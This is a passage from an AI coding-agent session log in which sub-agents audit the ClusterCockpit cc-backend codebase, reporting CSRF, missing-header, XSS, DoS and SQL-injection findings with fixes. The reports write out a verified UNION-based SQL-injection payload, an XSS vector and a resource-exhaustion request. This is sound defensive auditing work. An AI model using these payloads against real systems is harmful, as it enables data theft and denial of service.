CSRF defense-in-depth, missing security headers, and a stored-XSS sink**.\n\n---\n\n### Finding 1 — No CSRF tokens on cookie-authenticated state-changing endpoints (relying solely on SameSite=Lax)\n**Severity: Medium-High**\n**Files:**\n- `internal/api/rest.go:147-160` (`MountConfigAPIRoutes`: `createUser`, `deleteUser`, `updateUser`, `editNotice`, `runTagger` — all session/admin-auth)\n- `internal/api/rest.go:164-171` (`MountFrontendAPIRoutes`: `/frontend/configuration/` POST, `/frontend/jwt/` GET)\n- `cmd/cc-backend/server.go:228` (GraphQL `/query` mutations, session-auth)\n- `internal/auth/auth.go:323-324` (cookie `SameSite=Lax`, `HttpOnly`)\n\n**Analysis:** These endpoints authenticate via session cookie (`AuthViaSession`) with **no CSRF token** (confirmed: the only `csrf` reference in the codebase is the OIDC PKCE comment). The previous audit's `SameSite=Lax` does block classic cross-site **form POST** CSRF, so the POST/PUT/DELETE config endpoints are *mostly* covered by that alone. The concern:\n- `GET /frontend/jwt/?username=<self>` mints a valid JWT and returns it in the body. Under `SameSite=Lax`, a cross-site **top-level GET navigation** *does* send the cookie. An attacker page can't read the response cross-origin (CORS `AllowCredentials:false`), so token theft is blocked — but this shows the reliance on a single control. Any future state-changing GET handler would be exploitable.\n- Defense-in-depth: `SameSite=Lax` is the *only* CSRF control. Browsers/proxies that don't enforce it, or a future endpoint added as GET, would be exposed. For an HPC admin console that can create users and assign the admin role, a proper anti-CSRF token (or `SameSite=Strict` for the session cookie, plus an `Origin`/`Referer` check on state-changing requests) is warranted.\n\n**Fix:** Add an `Origin`/`Sec-Fetch-Site` check (or a synchronizer CSRF token) middleware on all non-GET session-authenticated routes, and consider `SameSite=Strict` for the session cookie. At minimum, ensure no state-changing operation is ever exposed via GET.\n\n---\n\n### Finding 2 — No Content-Security-Policy or other security response headers\n**Severity: Medium**\n**File:** `cmd/cc-backend/server.go:118-144` (middleware chain)\n\nThe middleware sets only `Strict-Transport-Security` (and only when TLS). There is **no** `Content-Security-Policy`, `X-Content-Type-Options: nosniff`, `X-Frame-Options`/`frame-ancestors`, or `Referrer-Policy` (confirmed: grep for all of these returns nothing). Consequences:\n- No CSP means any XSS (see Finding 3) executes unconstrained, and there's no mitigation for injected inline script.\n- No `X-Frame-Options`/`frame-ancestors 'none'` → the admin UI can be framed for clickjacking.\n- No `X-Content-Type-Options: nosniff` → MIME-sniffing risk on served content.\n\n**Fix:** Add a middleware setting `X-Content-Type-Options: nosniff`, `X-Frame-Options: DENY` (or CSP `frame-ancestors 'none'`), `Referrer-Policy: same-origin`, and a CSP. Note the templates use inline `<script>` blocks (`base.tmpl`, `monitoring/*.tmpl`), so a strict CSP needs nonces/hashes for those inline scripts.\n\n---\n\n### Finding 3 — Stored XSS sink: `{@html job.metaData.message}` rendered as raw HTML\n**Severity: Medium** (privileged write path; defense-in-depth)\n**Files:**\n- `web/frontend/src/Job.root.svelte:240`\n- `web/frontend/src/generic/helper/JobFootprint.svelte:231`\n\n`job.metaData.message` (the \"admin note\") is rendered with Svelte's `{@html ...}`, which bypasses all escaping. The write path is `PATCH /api/jobs/edit_meta/{id}` (`internal/api/rest.go:100-101` → `internal/api/job.go:468`), which sets an arbitrary metadata key/value (including `message`). That route is under the `/api` group requiring a JWT with `RoleAPI` (`server.go:240-247`, `AuthAPI`), so it's not reachable by ordinary logged-in users — but any API-token holder, a compromised scheduler integration, or a hand-edited job archive `meta.json` can inject `<script>`/`<img onerror=...>` that executes in the browser of **any admin/user who opens that job page** (including higher-privileged users). With no CSP (Finding 2), this is unconstrained.\n\n**Fix:** Don't render `message` as raw HTML. Either render it as text (`{message}`), or sanitize it (e.g. DOMPurify) before `{@html}`, and/or restrict the allowed metadata keys/markup on the `editMeta` server side.\n\n---\n\n### Things checked and found clean\n- `html/template` used throughout; no `text/template` in the web layer (only `internal/tagger/classifyJob.go`, not web-facing).\n- No `template.HTML/JS/URL` wrappers around user data anywhere.\n- Login `redirect` open-redirect is mitigated (`auth.go:388-394`, relative-path-only).\n- JWT not stored in `localStorage`/`sessionStorage`; held in Svelte state only.\n- CORS `AllowCredentials:false` prevents cross-origin reading of cookie-authenticated responses.\n- Session cookie is `HttpOnly` and `Secure` (when TLS/`X-Forwarded-Proto: https`).\n- No `innerHTML`/`document.write` usage in the frontend; only the two `{@html}` sinks above.\n\n**Priority order:** Finding 2 (security headers/CSP — cheap, broad mitigation) → Finding 1 (CSRF defense-in-depth on admin endpoints) → Finding 3 (sanitize admin note)."}],"totalDurationMs":160249,"totalTokens":59733,"totalToolUseCount":30,"usage":{"input_tokens":2,"cache_creation_input_tokens":362,"cache_read_input_tokens":56701,"output_tokens":2668,"server_tool_use":{"web_search_requests":0,"web_fetch_requests":0},"service_tier":"standard","cache_creation":{"ephemeral_1h_input_tokens":0,"ephemeral_5m_input_tokens":362},"inference_geo":"not_available","iterations":[{"input_tokens":2,"output_tokens":2668,"cache_read_input_tokens":56701,"cache_creation_input_tokens":362,"cache_creation":{"ephemeral_5m_input_tokens":362,"ephemeral_1h_input_tokens":0},"type":"message"}],"speed":"standard"},"toolStats":{"readCount":13,"searchCount":0,"bashCount":17,"editFileCount":0,"linesAdded":0,"linesRemoved":0,"otherToolCount":0}},"sourceToolAssistantUUID":"0dee2c1f-4588-448b-8842-cbae1cf05783","userType":"external","entrypoint":"cli","cwd":"/Users/jan/prg/ClusterCockpit/cc-backend","sessionId":"135c59e3-1efb-44ab-aebd-4144ab7553b9","version":"2.1.162","gitBranch":"release/v1.5"}
{"parentUuid":"a988b96b-36fd-4cd3-9ab1-8e9f4f87615c","isSidechain":false,"promptId":"7a77ddc6-2262-4b32-8011-df89cf5077ae","type":"user","message":{"role":"user","content":[{"tool_use_id":"toolu_01EPq1WotNXaigWMsoNj28uJ","type":"tool_result","content":[{"type":"text","text":"Values are parameterized. The `jsonField` names in JSON conditions are hardcoded constants (not user input) for the REST path. Good.\n\nI have enough to conclude. Let me do a final check on whether `getJobs` `project` filter could be an IDOR — a RoleUser could filter by `project=X` but `SecurityCheck` for RoleUser restricts to `job.hpc_user = username`, so the project filter is ANDed and can't widen access. Good.\n\nLet me verify the only real DoS finding by checking that REST `getJobs` is reachable by RoleUser via userapi (it is, line 122). So an unprivileged user can trigger the unbounded query for their own jobs (limited blast radius), but a RoleAPI user via `/api/jobs/` can dump the entire job table unbounded. Confirmed as the main finding.\n\n## Security Review: REST API (internal/api/*.go)\n\nI traced route registration in `rest.go` → middleware wiring in `cmd/cc-backend/server.go` → the five auth middlewares in `internal/auth/auth.go`, and read every handler plus the repository functions they call (`QueryJobs`, `FindByID`, `BuildWhereClause`, `UpdateConfig`, `ProvideJWT`). Overall the REST surface is in good shape: authorization is enforced consistently and object-level access is properly scoped. One genuine medium issue and a few low-severity notes follow.\n\n### Authorization model (verified correct)\n- Every route group is wrapped by an auth middleware (`AuthAPI`, `AuthUserAPI`, `AuthMetricStoreAPI`, `AuthConfigAPI`, `AuthFrontendAPI`) in `server.go:238-289`. No sensitive route is mounted unauthenticated.\n- Admin-only handlers (`createUser`, `deleteUser`, `updateUser`, `getUsers`, `editNotice`, `getRoles`, `getTaggers`, `runTagger`, `getJournalLog`) all re-check `HasRole(RoleAdmin)` inside the handler — defence in depth beyond the middleware.\n- IDOR is correctly prevented: `getJobByID`/`getCompleteJobByID` (`job.go:264,357`) use `FindByID` which calls `SecurityCheck` (`jobFind.go:169`), and `getJobMetrics` routes through the GraphQL `Job` resolver which also enforces ownership (`schema.resolvers.go:491-495`). A `RoleUser` on `/userapi/` is scoped to `job.hpc_user = username` via `SecurityCheckWithUser` (`jobQuery.go:163-164`). Filtering by `project=` cannot widen this because the security predicate is ANDed.\n- `getJWT` (`rest.go:325`) lets non-admins mint a token only for themselves, and `ProvideJWT` (`jwt.go:122`) copies only the user's existing roles — no privilege escalation. `updateConfiguration` writes are scoped to the caller's own row via parameterized SQL (`userConfig.go:118`).\n- Path traversal is handled: `getMachineState`/`putMachineState` validate `cluster`/`host` against `..`, `/`, `\\` (`rest.go:209-216, 433-440`). `getJournalLog` passes args as argv (no shell) and regex-validates `since`/`search` (`log.go:30,43,84`).\n- SQL injection: REST-reachable filters (project, cluster, state, start-time) all use parameterized placeholders (`buildStringCondition` `jobQuery.go:355`); state is enum-validated before use. The inlined-literal branches (`State`/`Shared`/`ArrayJobID`, `jobQuery.go:204,215,234`) are not settable from REST query params.\n\n### Finding 1 — Unbounded query / DoS via `items-per-page` (MEDIUM)\n`internal/api/job.go:170-176` (`getJobs`) accepts `items-per-page` as a raw `strconv.Atoi` with no bounds. In `internal/repository/jobQuery.go:78-81`, the LIMIT is applied only when `ItemsPerPage != -1`:\n```go\nif page != nil && page.ItemsPerPage != -1 {\n    query = query.Offset((uint64(page.Page) - 1) * limit).Limit(limit)\n}\n```\n- Exploit: a holder of any API token calls `GET /api/jobs/?items-per-page=-1&with-metadata=true`. The LIMIT is skipped entirely, so the handler loads the **entire** job table (within the caller's security scope — for a `RoleAPI` token that is every job in the DB), then for each row calls `FetchMetadata`, `GetTags`, and `GetStatistics` (`job.go:193-216`). On a large HPC deployment this is a memory/CPU exhaustion vector. Negative values other than `-1` (e.g. `-5`) are worse: `uint64(-5)` becomes a huge limit and the offset cast underflows.\n- Fix: in `getJobs`, reject non-positive `items-per-page` (or clamp to a sane max, e.g. 1000) and require `page >= 1`; do not let the REST layer pass the `-1` sentinel. Keep `-1` reserved for internal callers only.\n\n### Low-severity notes\n- `freeMetrics` (`metricstore.go:46-50`) returns HTTP 500 for an unparseable `to` query param instead of 400 — minor incorrect status, not a vuln.\n- Error responses echo wrapped internal errors verbatim via `handleError` (`rest.go:187-198`), e.g. raw SQL strings on query failure in `QueryJobs` (`jobQuery.go:90`). This is information disclosure but only to already-authenticated API/admin callers, so low impact.\n- `securedCheck` IP allow-list (`auth.go:613`) trusts `X-Real-Ip`/`X-Forwarded-For` and is applied only in `AuthAPI` (not the user/metricstore/config/frontend middlewares). The header trust is the standard reverse-proxy assumption; worth a one-line doc note that the proxy must overwrite these headers, but not a code defect.\n- `AuthAPI`'s `default` switch case (`auth.go:468-470`) calls `onfailure` without `return`, then falls through to a second `onfailure` at line 474. Harmless double-call (response already committed), but slightly sloppy.\n\nNo critical findings. The job/tag/user/cluster/node/machine-state handlers are correctly gated and object-scoped; the only change I'd prioritize is bounding `items-per-page` in `getJobs`."},{"type":"text","text":"agentId: ab665b3d9b4b45b2f (use SendMessage with to: 'ab665b3d9b4b45b2f' to continue this agent)\n<usage>subagent_tokens: 82885\ntool_uses: 30\nduration_ms: 171368</usage>"}]}]},"uuid":"b243b578-7879-480a-9e6e-7251555e13bf","timestamp":"2026-06-04T16:44:24.649Z","toolUseResult":{"status":"completed","prompt":"You are a security auditor doing a focused review of the ClusterCockpit cc-backend Go repository at /Users/jan/prg/ClusterCockpit/cc-backend.\n\nScope: REST API ONLY. Files in internal/api/*.go (rest.go, and all handler files; EXCLUDE nats.go which is covered elsewhere).\n\nFocus on:\n- Authorization checks on each endpoint: is RoleAPI / RoleAdmin / RoleUser enforced consistently? Look for endpoints missing auth middleware or role checks.\n- IDOR / broken object-level authorization: can a user access/modify other users' jobs, tags, configurations? Check that user-supplied IDs are scoped to the requesting user where appropriate.\n- Input validation: integer parsing, unbounded queries, mass-assignment.\n- Path traversal in any endpoint that takes file paths or names.\n- SQL injection via query parameters passed to the repository layer.\n- Information disclosure in error messages.\n- Whether the routing in rest.go correctly applies auth middleware to all sensitive routes.\n\nTrace how routes are registered in rest.go (and cmd/cc-backend/server.go / router setup) and which middleware wraps them.\n\nFind anything SEVERE. For each finding: file:line, severity (critical/high/medium/low), concrete exploit scenario, and suggested fix. Verify claims by reading actual code. Report only real findings backed by code evidence; if clean, say so briefly.","agentId":"ab665b3d9b4b45b2f","agentType":"general-purpose","content":[{"type":"text","text":"Values are parameterized. The `jsonField` names in JSON conditions are hardcoded constants (not user input) for the REST path. Good.\n\nI have enough to conclude. Let me do a final check on whether `getJobs` `project` filter could be an IDOR — a RoleUser could filter by `project=X` but `SecurityCheck` for RoleUser restricts to `job.hpc_user = username`, so the project filter is ANDed and can't widen access. Good.\n\nLet me verify the only real DoS finding by checking that REST `getJobs` is reachable by RoleUser via userapi (it is, line 122). So an unprivileged user can trigger the unbounded query for their own jobs (limited blast radius), but a RoleAPI user via `/api/jobs/` can dump the entire job table unbounded. Confirmed as the main finding.\n\n## Security Review: REST API (internal/api/*.go)\n\nI traced route registration in `rest.go` → middleware wiring in `cmd/cc-backend/server.go` → the five auth middlewares in `internal/auth/auth.go`, and read every handler plus the repository functions they call (`QueryJobs`, `FindByID`, `BuildWhereClause`, `UpdateConfig`, `ProvideJWT`). Overall the REST surface is in good shape: authorization is enforced consistently and object-level access is properly scoped. One genuine medium issue and a few low-severity notes follow.\n\n### Authorization model (verified correct)\n- Every route group is wrapped by an auth middleware (`AuthAPI`, `AuthUserAPI`, `AuthMetricStoreAPI`, `AuthConfigAPI`, `AuthFrontendAPI`) in `server.go:238-289`. No sensitive route is mounted unauthenticated.\n- Admin-only handlers (`createUser`, `deleteUser`, `updateUser`, `getUsers`, `editNotice`, `getRoles`, `getTaggers`, `runTagger`, `getJournalLog`) all re-check `HasRole(RoleAdmin)` inside the handler — defence in depth beyond the middleware.\n- IDOR is correctly prevented: `getJobByID`/`getCompleteJobByID` (`job.go:264,357`) use `FindByID` which calls `SecurityCheck` (`jobFind.go:169`), and `getJobMetrics` routes through the GraphQL `Job` resolver which also enforces ownership (`schema.resolvers.go:491-495`). A `RoleUser` on `/userapi/` is scoped to `job.hpc_user = username` via `SecurityCheckWithUser` (`jobQuery.go:163-164`). Filtering by `project=` cannot widen this because the security predicate is ANDed.\n- `getJWT` (`rest.go:325`) lets non-admins mint a token only for themselves, and `ProvideJWT` (`jwt.go:122`) copies only the user's existing roles — no privilege escalation. `updateConfiguration` writes are scoped to the caller's own row via parameterized SQL (`userConfig.go:118`).\n- Path traversal is handled: `getMachineState`/`putMachineState` validate `cluster`/`host` against `..`, `/`, `\\` (`rest.go:209-216, 433-440`). `getJournalLog` passes args as argv (no shell) and regex-validates `since`/`search` (`log.go:30,43,84`).\n- SQL injection: REST-reachable filters (project, cluster, state, start-time) all use parameterized placeholders (`buildStringCondition` `jobQuery.go:355`); state is enum-validated before use. The inlined-literal branches (`State`/`Shared`/`ArrayJobID`, `jobQuery.go:204,215,234`) are not settable from REST query params.\n\n### Finding 1 — Unbounded query / DoS via `items-per-page` (MEDIUM)\n`internal/api/job.go:170-176` (`getJobs`) accepts `items-per-page` as a raw `strconv.Atoi` with no bounds. In `internal/repository/jobQuery.go:78-81`, the LIMIT is applied only when `ItemsPerPage != -1`:\n```go\nif page != nil && page.ItemsPerPage != -1 {\n    query = query.Offset((uint64(page.Page) - 1) * limit).Limit(limit)\n}\n```\n- Exploit: a holder of any API token calls `GET /api/jobs/?items-per-page=-1&with-metadata=true`. The LIMIT is skipped entirely, so the handler loads the **entire** job table (within the caller's security scope — for a `RoleAPI` token that is every job in the DB), then for each row calls `FetchMetadata`, `GetTags`, and `GetStatistics` (`job.go:193-216`). On a large HPC deployment this is a memory/CPU exhaustion vector. Negative values other than `-1` (e.g. `-5`) are worse: `uint64(-5)` becomes a huge limit and the offset cast underflows.\n- Fix: in `getJobs`, reject non-positive `items-per-page` (or clamp to a sane max, e.g. 1000) and require `page >= 1`; do not let the REST layer pass the `-1` sentinel. Keep `-1` reserved for internal callers only.\n\n### Low-severity notes\n- `freeMetrics` (`metricstore.go:46-50`) returns HTTP 500 for an unparseable `to` query param instead of 400 — minor incorrect status, not a vuln.\n- Error responses echo wrapped internal errors verbatim via `handleError` (`rest.go:187-198`), e.g. raw SQL strings on query failure in `QueryJobs` (`jobQuery.go:90`). This is information disclosure but only to already-authenticated API/admin callers, so low impact.\n- `securedCheck` IP allow-list (`auth.go:613`) trusts `X-Real-Ip`/`X-Forwarded-For` and is applied only in `AuthAPI` (not the user/metricstore/config/frontend middlewares). The header trust is the standard reverse-proxy assumption; worth a one-line doc note that the proxy must overwrite these headers, but not a code defect.\n- `AuthAPI`'s `default` switch case (`auth.go:468-470`) calls `onfailure` without `return`, then falls through to a second `onfailure` at line 474. Harmless double-call (response already committed), but slightly sloppy.\n\nNo critical findings. The job/tag/user/cluster/node/machine-state handlers are correctly gated and object-scoped; the only change I'd prioritize is bounding `items-per-page` in `getJobs`."}],"totalDurationMs":171368,"totalTokens":82885,"totalToolUseCount":30,"usage":{"input_tokens":2,"cache_creation_input_tokens":1882,"cache_read_input_tokens":78749,"output_tokens":2252,"server_tool_use":{"web_search_requests":0,"web_fetch_requests":0},"service_tier":"standard","cache_creation":{"ephemeral_1h_input_tokens":0,"ephemeral_5m_input_tokens":1882},"inference_geo":"not_available","iterations":[{"input_tokens":2,"output_tokens":2252,"cache_read_input_tokens":78749,"cache_creation_input_tokens":1882,"cache_creation":{"ephemeral_5m_input_tokens":1882,"ephemeral_1h_input_tokens":0},"type":"message"}],"speed":"standard"},"toolStats":{"readCount":19,"searchCount":0,"bashCount":11,"editFileCount":0,"linesAdded":0,"linesRemoved":0,"otherToolCount":0}},"sourceToolAssistantUUID":"a988b96b-36fd-4cd3-9ab1-8e9f4f87615c","userType":"external","entrypoint":"cli","cwd":"/Users/jan/prg/ClusterCockpit/cc-backend","sessionId":"135c59e3-1efb-44ab-aebd-4144ab7553b9","version":"2.1.162","gitBranch":"release/v1.5"}
{"parentUuid":"c993526e-5a3d-466b-bfd6-2d606120f3b4","isSidechain":false,"promptId":"7a77ddc6-2262-4b32-8011-df89cf5077ae","type":"user","message":{"role":"user","content":[{"tool_use_id":"toolu_0127GXe94Rf11T1AzPAxYipg","type":"tool_result","content":[{"type":"text","text":"`OrderByInput.field` is a free `String!`. It flows into `OrderBy(fmt.Sprintf(\"job.%s ASC\", field))` after `toSnakeCase`. The char blacklist blocks string-literal breakout but permits parentheses/commas — enabling injection like `field = \"id ASC, (SELECT CASE WHEN(...) THEN id ELSE ... END)\"`. Wait — `toSnakeCase` lowercases everything, which breaks `SELECT`/`CASE` keywords? No, SQL keywords are case-insensitive in SQLite, so `select`/`case` still work. Spaces are blocked though, which makes building a subquery hard (SQL needs whitespace between tokens). Comments `/**/` could substitute for spaces, and `/` `*` are allowed. This is a real but harder-to-exploit vector. I'll report it as a secondary finding (medium-high) since the blacklist is fragile.\n\nI have a complete picture. Here is my report.\n\n---\n\n## Security Audit: SQL / Data Access Layer (`internal/repository/*.go`)\n\n### FINDING 1 — SQL injection via metric name in JSON-path interpolation (SEVERE / Critical)\n\n**Files / lines:**\n- `internal/repository/stats.go:962` and `stats.go:969` (`jobsMetricStatisticsHistogram`)\n- `internal/repository/jobQuery.go:343-347` (`buildFloatJSONCondition`, reached from `BuildWhereClause` for `filter.MetricStats`)\n\n**Root cause:** A user-supplied metric name is concatenated directly into a SQLite `json_extract(footprint, \"$.<name>\")` path, which sits inside a double-quoted SQL string literal. A `\"` in the input breaks out of the literal. No sanitization or whitelisting is applied on this path (unlike the `OrderBy` path, this code never calls `toSnakeCase`).\n\nstats.go:959-969:\n```go\nbinQuery := fmt.Sprintf(`CAST(... json_extract(footprint, \"$.%s\") ... )`, (metric + \"_\" + footprintStat), ...)\n... .Where(fmt.Sprintf(`json_extract(footprint, \"$.%s\") is not null and ... <= %f`, (metric + \"_\" + footprintStat), ..., peak))\n```\n\n**Input trace (confirmed user-controlled):**\n- GraphQL `jobsStatistics(filter, metrics: [String!], ...)` and `jobsMetricStats(filter, metrics: [String!])` → resolver `internal/graph/schema.resolvers.go:749` → `Repo.AddMetricHistograms(ctx, filter, metrics, ...)` → `stats.go:736 jobsMetricStatisticsHistogram(ctx, m, ...)`. `metrics` is a raw `[String!]` GraphQL arg with no enum/validation (`api/schema.graphqls:318`, `models_gen.go:168`).\n- Independently, GraphQL `JobFilter.metricStats: [MetricStatItem!]` → `MetricStatItem.metricName: String!` → `jobQuery.go:257 buildFloatJSONCondition(ms.MetricName, ...)`, same unsanitized `\"$.\"+jsonField` concatenation.\n\nReachable by **any authenticated user** (RoleUser). `SecurityCheck` only adds a row-level `WHERE`; it does not constrain the injected fragment, and a `UNION`/comment can discard it.\n\n**Exploit (verified with a SQLite PoC in-repo):** metric name\n```\nx\") UNION SELECT secret FROM job--\n```\nproduced SQL `... json_extract(footprint, \"$.x\") UNION SELECT secret FROM job--\") ...` and exfiltrated data from another column. Any authenticated user can run arbitrary SQL: read other users' jobs, dump `hpc_user` rows (roles, projects, emails), etc.\n\n**Fix:** Whitelist metric names against the configured cluster metric list (`archive.GetMetricConfig` / `archive.Clusters[].MetricConfig`) before use, rejecting unknown names. As defense-in-depth, validate the JSON path with a strict regex (`^[A-Za-z0-9_]+$`) in `jobsMetricStatisticsHistogram` and `buildFloatJSONCondition` and reject otherwise. Note `footprintStat` is config-derived (safer) but `metric` must be validated.\n\n---\n\n### FINDING 2 — Fragile char-blacklist on ORDER BY column (Medium-High)\n\n**File / lines:** `internal/repository/jobQuery.go:54,58,60,69,71` with `toSnakeCase` at `jobQuery.go:430-440`.\n\n`order.Field` (GraphQL `OrderByInput.field: String!`, free string, `api/schema.graphqls:468`) is passed through `toSnakeCase`, then interpolated into `OrderBy(\"job.%s ASC\")` / `OrderBy(\"JSON_EXTRACT(footprint, \\\"$.%s\\\") ...\")`. `toSnakeCase` uses a **deny-list** (blocks `' \\ \" ; -` and space) rather than an allow-list. It permits `(`, `)`, `,`, `/`, `*`, `=`, digits, letters. SQLite keywords are case-insensitive (the `ToLower` does not neutralize them), and `/**/` can substitute for blocked spaces. This leaves room for ORDER-BY-clause injection (e.g. boolean/error-based subqueries) and is one byte away from being trivially bypassable if a new caller is added or the blacklist drifts.\n\n**Fix:** Replace the blacklist with a strict allow-list: validate `field` against the known sortable column set (the same whitelist pattern already used safely in `stats.go` via `sortBy2column`/`groupBy2column` maps). Reject anything not in the map.\n\n---\n\n### FINDING 3 — Identity values interpolated into SQL in tag counting (Medium)\n\n**File / lines:** `internal/repository/tags.go:316-325` (`user.Username` into scope `IN (...)`) and `tags.go:333` (`strings.Join(user.Projects, \"\\\",\\\"\")` into a subquery `project IN (...)`).\n\n`user.Username` and each `user.Projects` entry are wrapped in `\"...\"` and concatenated into the SQL string instead of being parameterized. These are identity attributes; for local accounts they are admin-set, but for OIDC/LDAP-provisioned users a username/project containing `\"` would break out (or corrupt the query). Severity is lower because it is self-scoped and the values are typically provisioned by trusted IdP/admin, but it is still raw interpolation of externally-sourced strings into SQL.\n\n**Fix:** Parameterize: build `sq.Eq{\"t.tag_scope\": scopeList}` for the scope `IN`, and `sq.Eq{\"job.project\": user.Projects}` (squirrel expands slices to placeholders) for the project subquery, matching the parameterized style already used at `tags.go:335` and in `jobQuery.go` `SecurityCheckWithUser`.\n\n---\n\n### Areas reviewed and found clean\n- `node.go`, `user.go`, `jobCreate.go`, `job.go`, `config.go`, `userConfig.go`: all DB access uses squirrel with `?` placeholders or `r.DB.Exec/Query` with bound args. The `fmt.Sprintf` hits in `job.go`/`jobCreate.go` are LRU cache keys, not SQL.\n- `jobQuery.go` `buildStringCondition`, `buildMetaJSONCondition`, `buildResourceJSONCondition`: JSON `jsonField` args are **hardcoded literals** (`\"jobName\"`, `\"hostname\"`) and all values are parameterized — safe.\n- `jobQuery.go:204,215,234` (`job_state`, `shared`, `array_job_id` inlined): values come from validated GraphQL enums / typed int, not free strings — acceptable.\n- `stats.go` `durationExpr`/threshold/bin/`sortBy2column`/`groupBy2column`: all interpolated values are server-side integers/timestamps or map-whitelisted column names — safe.\n- `dbConnection.go`, `migration.go` `fmt.Sprintf`: config-derived connection/DSN params, not user input.\n- `jobFind.go:299,310,335`: builds a frontend URL query string, not SQL.\n\n**Priority:** Finding 1 is the urgent one — unauthenticated-of-data, fully attacker-controlled, trivially exploitable arbitrary SQL by any logged-in user, verified working. Fix that first."},{"type":"text","text":"agentId: a1144f67fbb94877a (use SendMessage with to: 'a1144f67fbb94877a' to continue this agent)\n<usage>subagent_tokens: 50616\ntool_uses: 20\nduration_ms: 182368</usage>"}]}]},"uuid":"554f3936-4605-43cc-8fc8-ff6c92cd7ed9","timestamp":"2026-06-04T16:44:35.720Z","toolUseResult":{"status":"completed","prompt":"You are a security auditor reviewing the ClusterCockpit cc-backend Go repository at /Users/jan/prg/ClusterCockpit/cc-backend.\n\nScope: Data access / SQL layer ONLY. Files in internal/repository/*.go.\n\nFocus on:\n- SQL injection: find every place a query is built with string concatenation/fmt.Sprintf instead of parameterized queries or safe query builders (squirrel). Pay special attention to ORDER BY, column names, LIMIT/OFFSET, filter building, and any raw string interpolation of user input into SQL.\n- The query builder usage (sq / squirrel) — are user-controlled column/sort fields whitelisted?\n- Search/filter functions that take user input (job search, user search, tag filtering).\n- Any Exec/Query/Raw calls with interpolated strings.\n\nGrep for fmt.Sprintf near SQL, \"SELECT\", \"WHERE\", \"ORDER BY\", \".Query(\", \".Exec(\", \"+ \" string concat in query context.\n\nFind anything SEVERE. For each finding: file:line, severity, concrete exploit (what input triggers it), and suggested fix. Verify by reading the actual code and confirm the input is actually user-controlled (trace the caller). Report only real, code-backed findings; if clean, say so briefly.","agentId":"a1144f67fbb94877a","agentType":"general-purpose","content":[{"type":"text","text":"`OrderByInput.field` is a free `String!`. It flows into `OrderBy(fmt.Sprintf(\"job.%s ASC\", field))` after `toSnakeCase`. The char blacklist blocks string-literal breakout but permits parentheses/commas — enabling injection like `field = \"id ASC, (SELECT CASE WHEN(...) THEN id ELSE ... END)\"`. Wait — `toSnakeCase` lowercases everything, which breaks `SELECT`/`CASE` keywords? No, SQL keywords are case-insensitive in SQLite, so `select`/`case` still work. Spaces are blocked though, which makes building a subquery hard (SQL needs whitespace between tokens). Comments `/**/` could substitute for spaces, and `/` `*` are allowed. This is a real but harder-to-exploit vector. I'll report it as a secondary finding (medium-high) since the blacklist is fragile.\n\nI have a complete picture. Here is my report.\n\n---\n\n## Security Audit: SQL / Data Access Layer (`internal/repository/*.go`)\n\n### FINDING 1 — SQL injection via metric name in JSON-path interpolation (SEVERE / Critical)\n\n**Files / lines:**\n- `internal/repository/stats.go:962` and `stats.go:969` (`jobsMetricStatisticsHistogram`)\n- `internal/repository/jobQuery.go:343-347` (`buildFloatJSONCondition`, reached from `BuildWhereClause` for `filter.MetricStats`)\n\n**Root cause:** A user-supplied metric name is concatenated directly into a SQLite `json_extract(footprint, \"$.<name>\")` path, which sits inside a double-quoted SQL string literal. A `\"` in the input breaks out of the literal. No sanitization or whitelisting is applied on this path (unlike the `OrderBy` path, this code never calls `toSnakeCase`).\n\nstats.go:959-969:\n```go\nbinQuery := fmt.Sprintf(`CAST(... json_extract(footprint, \"$.%s\") ... )`, (metric + \"_\" + footprintStat), ...)\n... .Where(fmt.Sprintf(`json_extract(footprint, \"$.%s\") is not null and ... <= %f`, (metric + \"_\" + footprintStat), ..., peak))\n```\n\n**Input trace (confirmed user-controlled):**\n- GraphQL `jobsStatistics(filter, metrics: [String!], ...)` and `jobsMetricStats(filter, metrics: [String!])` → resolver `internal/graph/schema.resolvers.go:749` → `Repo.AddMetricHistograms(ctx, filter, metrics, ...)` → `stats.go:736 jobsMetricStatisticsHistogram(ctx, m, ...)`. `metrics` is a raw `[String!]` GraphQL arg with no enum/validation (`api/schema.graphqls:318`, `models_gen.go:168`).\n- Independently, GraphQL `JobFilter.metricStats: [MetricStatItem!]` → `MetricStatItem.metricName: String!` → `jobQuery.go:257 buildFloatJSONCondition(ms.MetricName, ...)`, same unsanitized `\"$.\"+jsonField` concatenation.\n\nReachable by **any authenticated user** (RoleUser). `SecurityCheck` only adds a row-level `WHERE`; it does not constrain the injected fragment, and a `UNION`/comment can discard it.\n\n**Exploit (verified with a SQLite PoC in-repo):** metric name\n```\nx\") UNION SELECT secret FROM job--\n```\nproduced SQL `... json_extract(footprint, \"$.x\") UNION SELECT secret FROM job--\") ...` and exfiltrated data from another column. Any authenticated user can run arbitrary SQL: read other users' jobs, dump `hpc_user` rows (roles, projects, emails), etc.\n\n**Fix:** Whitelist metric names against the configured cluster metric list (`archive.GetMetricConfig` / `archive.Clusters[].MetricConfig`) before use, rejecting unknown names. As defense-in-depth, validate the JSON path with a strict regex (`^[A-Za-z0-9_]+$`) in `jobsMetricStatisticsHistogram` and `buildFloatJSONCondition` and reject otherwise. Note `footprintStat` is config-derived (safer) but `metric` must be validated.\n\n---\n\n### FINDING 2 — Fragile char-blacklist on ORDER BY column (Medium-High)\n\n**File / lines:** `internal/repository/jobQuery.go:54,58,60,69,71` with `toSnakeCase` at `jobQuery.go:430-440`.\n\n`order.Field` (GraphQL `OrderByInput.field: String!`, free string, `api/schema.graphqls:468`) is passed through `toSnakeCase`, then interpolated into `OrderBy(\"job.%s ASC\")` / `OrderBy(\"JSON_EXTRACT(footprint, \\\"$.%s\\\") ...\")`. `toSnakeCase` uses a **deny-list** (blocks `' \\ \" ; -` and space) rather than an allow-list. It permits `(`, `)`, `,`, `/`, `*`, `=`, digits, letters. SQLite keywords are case-insensitive (the `ToLower` does not neutralize them), and `/**/` can substitute for blocked spaces. This leaves room for ORDER-BY-clause injection (e.g. boolean/error-based subqueries) and is one byte away from being trivially bypassable if a new caller is added or the blacklist drifts.\n\n**Fix:** Replace the blacklist with a strict allow-list: validate `field` against the known sortable column set (the same whitelist pattern already used safely in `stats.go` via `sortBy2column`/`groupBy2column` maps). Reject anything not in the map.\n\n---\n\n### FINDING 3 — Identity values interpolated into SQL in tag counting (Medium)\n\n**File / lines:** `internal/repository/tags.go:316-325` (`user.Username` into scope `IN (...)`) and `tags.go:333` (`strings.Join(user.Projects, \"\\\",\\\"\")` into a subquery `project IN (...)`).\n\n`user.Username` and each `user.Projects` entry are wrapped in `\"...\"` and concatenated into the SQL string instead of being 